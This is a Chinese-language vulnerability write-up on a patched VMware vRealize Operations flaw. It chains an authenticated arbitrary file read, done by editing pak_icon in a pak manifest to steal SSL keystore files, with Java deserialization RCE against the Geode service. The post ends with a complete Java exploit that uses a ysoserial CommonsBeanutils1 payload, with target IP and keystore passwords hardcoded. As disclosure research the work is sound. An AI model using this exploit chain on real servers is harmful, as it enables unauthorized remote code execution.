官方已经发布漏洞补丁 https://www.vmware.com/security/advisories/VMSA-2023-0009.html 公开文章
这个漏洞是在年初挖洞的时候发现的,后台洞,需要授权,比较鸡肋。
安装过程直接导入下一步,启动后等5分钟让他初始化配置,然后访问web就行了。默认root密码为空。
有GEODE/Gemfire服务,web是apache jk反代。web服务有tomcat的,也有fatjar的。
修改/opt/vmware/etc/vmware-vcops-firewall.conf
配置文件,修改加上自己的端口然后vmware-vcops-firewall restart
开防火墙。
web调试的话分为不同的方式,比如casa的tomcat服务,就要改/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh
,而analysis服务需要改/usr/lib/vmware-vcops/user/conf/analytics/wrapper.conf
这个漏洞的挖掘思路并不是由文件读取开始的,而是由geode开始的。审查了geode框架的多个历史cve和文档,发现该框架是一个缓存框架,历史cve中有多个反序列化漏洞,文档中也提到了数据序列化的多种方式,其中包括标准的java反序列化。
下载geode本地调试之后发现,默认配置就可以反序列化rce
1
2
3
| .\gfsh.bat
start locator --name=locator1
start server --name=server1
|
locator port 10334 server port 40404
向服务中发送恶意序列化数据之后,弹出记事本。
可能是因为反序列化在该框架中的必要性,官方给的反序列化建议是让客户自己配置反序列化过滤器:serializable-object-filter
和validate-serializable-objects
属性。默认为空。
那么由此一来,我岂不是直接能在vROPS上rce?在我尝试之后发现,vROPS存在ssl双向认证,官方文档在这。证书配置路径在
1
2
3
| /storage/vcops/user/conf/ssl/storePass.properties
/storage/vcops/user/conf/ssl/tcserver.keystore
/storage/vcops/user/conf/ssl/tcserver.truststore
|
有双向认证,导致socket数据包发不过去,然后我的思路转变为寻找任意文件读取。
在com.vmware.vcops.casa.upgrade.pak.controller.PakMetadataController#doGetIcon
中
根据pakid寻找文件返回给resp,retrievePakIcon中调用this.pakCommand.queryDetailsOfStagedPak(pakID, locales)
寻找pakicon字段对应的文件路径
pakCommand由spring bean注入
queryDetailsOfStagedPak()
调用vcopsPakManager.py
也就是说PakMetadataController#doGetIcon
这个功能核心点是由py脚本实现的。反向查找该脚本调用,寻找pakID可控点发现
https://192.168.1.166/ui/
点击添加
pak是一个压缩包
随便拖出来一个查看结构
其中manifest.txt中pak_icon字段对应com.vmware.vcops.casa.upgrade.pak.PakManDetail#getPakIcon
字段
将其修改为我们要读的ssl双向认证文件,即可实现任意文件读取。
点击下一步实现任意文件读取
或者通过对应的api来下载二进制文件
读取这三个ssl双向认证文件之后即可rce
1
2
3
| /storage/vcops/user/conf/ssl/storePass.properties
/storage/vcops/user/conf/ssl/tcserver.keystore
/storage/vcops/user/conf/ssl/tcserver.truststore
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| import ysoserial.Serializer;
import ysoserial.payloads.CommonsBeanutils1;
import javax.net.ssl.SSLSocketFactory;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.Socket;
public class SocketTest {
public static void main(String[] args) throws Exception {
String host = "192.168.1.166";
// Socket client = new Socket(host, 40404);
System.setProperty("javax.net.debug", "ssl,handshake");
System.setProperty("javax.net.ssl.keyStore", "./tcserver.keystore");
System.setProperty("javax.net.ssl.keyStorePassword", "c56yJIz+f1R2TcUe5FH8HtkTBlRMIp");
System.setProperty("javax.net.ssl.trustStore", "./tcserver.truststore");
System.setProperty("javax.net.ssl.trustStorePassword", "tPZKZ2y4ybbFYVUCzSnJLErkppj3ww");
SSLSocketFactory sslsocketfactory = (SSLSocketFactory) SSLSocketFactory.getDefault();
Socket client = sslsocketfactory.createSocket(host, 10000);
OutputStream outputStream = client.getOutputStream();
// CommunicationMode 0x64=100=ClientToServer
outputStream.write(0x64);
// version 255 0 150
outputStream.write(0xff);
outputStream.write(0x0);
outputStream.write(0x96);
// valRead REPLY_OK
outputStream.write(0x3b);
DataOutputStream dataOutputStream = new DataOutputStream(outputStream);
// timeout
dataOutputStream.writeInt(10000);
// DSCODE SERIALIZABLE
dataOutputStream.write(0x2c);
Serializable notepad = (Serializable) new CommonsBeanutils1().getObject("touch /tmp/fuck");
dataOutputStream.write(Serializer.serialize(notepad));
dataOutputStream.flush();
dataOutputStream.close();
outputStream.flush();
outputStream.close();
client.close();
}
}
|
一些细节没写到,比如pakCommand到底是怎么处理pak文件的等细节,不过无伤大雅,因为我在审计时就是黑白盒一起测,搞清楚业务点之后串起来。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。